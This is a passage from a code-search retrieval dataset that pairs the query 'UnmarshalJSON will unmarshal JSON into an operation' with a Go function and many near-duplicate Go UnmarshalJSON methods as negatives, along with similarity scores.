\"0.5160501\",\n \"0.51377946\",\n \"0.51341206\",\n \"0.5128638\",\n \"0.51192695\",\n \"0.51132804\",\n \"0.51021475\",\n \"0.5098523\",\n \"0.5090875\",\n \"0.50785774\",\n \"0.5076889\",\n \"0.50752634\",\n \"0.50625294\",\n \"0.50468534\",\n \"0.50452006\",\n \"0.5005747\",\n \"0.4991385\",\n \"0.49852526\",\n \"0.49828464\",\n \"0.49764863\",\n \"0.49742508\",\n \"0.49725714\",\n \"0.49675462\",\n \"0.4961869\",\n \"0.49469635\",\n \"0.49261367\",\n \"0.4925901\",\n \"0.49171594\",\n \"0.49134427\",\n \"0.49122974\",\n \"0.49004218\",\n \"0.48957372\",\n \"0.48852968\",\n \"0.4852944\",\n \"0.48517638\",\n \"0.4841351\",\n \"0.48324156\",\n \"0.47867686\",\n \"0.47800103\",\n \"0.47738263\",\n \"0.47723144\",\n \"0.47681174\",\n \"0.47645372\",\n \"0.47554398\",\n \"0.4754858\",\n \"0.47482353\",\n \"0.47309133\",\n \"0.47176296\",\n \"0.47151423\",\n \"0.47109926\",\n \"0.4706565\",\n \"0.47059095\",\n \"0.47001883\",\n \"0.469936\",\n \"0.4695291\",\n \"0.4690898\",\n \"0.4681888\",\n \"0.46814024\",\n \"0.46749458\",\n \"0.46748364\",\n \"0.46599025\",\n \"0.46492898\",\n \"0.46432316\",\n \"0.4642473\",\n \"0.46382892\",\n \"0.46376684\",\n \"0.46370286\",\n \"0.46184084\",\n \"0.4604167\",\n \"0.46013045\",\n \"0.45984963\",\n \"0.45937607\",\n \"0.45902354\",\n \"0.4589723\",\n \"0.4587325\",\n \"0.45822936\",\n \"0.45800015\",\n \"0.45671898\",\n \"0.456048\",\n \"0.45600793\"\n]"},"document_score":{"kind":"string","value":"0.75331354"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106162,"cells":{"query":{"kind":"string","value":"UnmarshalJSON will unmarshal JSON into an operation"},"document":{"kind":"string","value":"func (o *Op) UnmarshalJSON(raw []byte) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := json.Unmarshal(raw, &typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (op *Operation) Unmarshal(raw []byte) error {\n\treturn json.Unmarshal(raw, &op)\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *Operation) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *WorkerCreateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (j *ProposalUpdateOperation) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}","func (v *bulkUpdateRequestCommandOp) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson1ed00e60DecodeGithubComOlivereElasticV7(&r, v)\n\treturn r.Error()\n}","func (o *OperationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn err\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"endTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, &o.EndTime)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"startTime\":\n\t\t\terr = unpopulateTimeRFC3339(val, &o.StartTime)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (v *BaseOp) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi125(&r, v)\n\treturn r.Error()\n}","func (o *OperationEntity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationsDefinition) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"actionType\":\n\t\t\terr = unpopulate(val, \"ActionType\", &o.ActionType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"isDataAction\":\n\t\t\terr = unpopulate(val, \"IsDataAction\", &o.IsDataAction)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (x *StationOperations) UnmarshalJSON(b []byte) error {\n\tnum, err := protoimpl.X.UnmarshalJSONEnum(x.Descriptor(), b)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*x = StationOperations(num)\n\treturn nil\n}","func (o *OperationEntity) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"display\":\n\t\t\terr = unpopulate(val, \"Display\", &o.Display)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"origin\":\n\t\t\terr = unpopulate(val, \"Origin\", &o.Origin)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &o.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationInputs) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &o.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (od *OperationDetail) UnmarshalJSON(body []byte) error {\n\tvar m map[string]*json.RawMessage\n\terr := json.Unmarshal(body, &m)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor k, v := range m {\n\t\tswitch k {\n\t\tcase \"name\":\n\t\t\tif v != nil {\n\t\t\t\tvar name string\n\t\t\t\terr = json.Unmarshal(*v, &name)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.Name = &name\n\t\t\t}\n\t\tcase \"isDataAction\":\n\t\t\tif v != nil {\n\t\t\t\tvar isDataAction bool\n\t\t\t\terr = json.Unmarshal(*v, &isDataAction)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.IsDataAction = &isDataAction\n\t\t\t}\n\t\tcase \"display\":\n\t\t\tif v != nil {\n\t\t\t\tvar display OperationDisplay\n\t\t\t\terr = json.Unmarshal(*v, &display)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.Display = &display\n\t\t\t}\n\t\tcase \"origin\":\n\t\t\tif v != nil {\n\t\t\t\tvar origin string\n\t\t\t\terr = json.Unmarshal(*v, &origin)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.Origin = &origin\n\t\t\t}\n\t\tcase \"properties\":\n\t\t\tif v != nil {\n\t\t\t\tvar operationProperties OperationProperties\n\t\t\t\terr = json.Unmarshal(*v, &operationProperties)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tod.OperationProperties = &operationProperties\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (o *OperationList) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationList) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (o *OperationInputs) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &o.Name)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}","func (op *OpFlatten) UnmarshalJSON(raw []byte) error {\n\treturn json.Unmarshal(raw, &op.Field)\n}","func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg 